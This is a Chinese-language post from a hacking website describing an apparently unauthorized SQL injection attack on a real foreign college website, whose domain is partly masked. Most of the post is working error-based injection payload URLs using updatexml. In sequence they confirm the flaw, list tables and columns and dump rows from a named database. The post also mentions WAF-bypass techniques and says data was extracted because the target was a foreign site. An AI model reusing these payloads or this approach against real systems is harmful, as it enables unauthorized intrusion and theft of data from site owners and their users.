实战：国外某站sql注入渗透测试-X黑手网

1.访问网站：http://www.xxxx.ac.in/news.php?id=2

2.判断是否存在sql注入

payload:http://www.xxxx.ac.in/news.php?id=2%27

3.这么一看，明显就是报错注入了，既然是报错注入那么一般就是updatexml

payload:http://www.xxxx.ac.in/news.php?id=2%27%20and%201=updatexml(1,concat(0x3a,(select%20database()),0x3a),3)–+

5.一般到这个时候就可以确定有sql注入了，那么我们之后就是注入表，字段，最后是数据。

pyaload(表)：http://www.xxxx.ac.in/news.php?id=2%27%20and%201=updatexml(1,concat(0x3a,(select%20/*!group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27aspcdevr_college%27*/),0x3a),3)–+

pyaload(字段)：http://www.xxxx.ac.in/news.php?id=2%27%20and%201=updatexml(1,concat(0x3a,(select%20/*!column_name%20from%20information_schema.columns%20where%20table_schema=%27aspcdevr_college%27%20%20and%20table_name=%27announcement%27%20limit%200,1*/),0x3a),3)–+

payload(数据)：www.xxxx.ac.in/news.php?id=2‘ and 1=updatexml(1,concat(0x3a,(select /*!group_concat(title) from announcement */),0x3a),3)–+

ok，这样一个sql注入站就可以拿下来，但在实战项目里面一般内联也不会成功，注入出数据库就可以提交了，没必要注入出数据，这里因为是国外站就注入出数据了。sqlmap是扫不出来的，不然就sqlmap直接跑即可。一般绕waf的方法样式很多，比如替换函数，内联加版本号，加号，&等。仁者见仁，智者见智。

1、本网站名称： X黑手网
2、本站永久网址：https://www.xheishou.com
3、本网站的文章部分内容可能来源于网络，仅供大家学习与参考，如有侵权，请联系站长进行删除处理。
4、本站一切资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责。
5、本站一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报
6、本站资源大多存储在云盘，如发现链接失效，请联系我们我们会第一时间更新。

THE END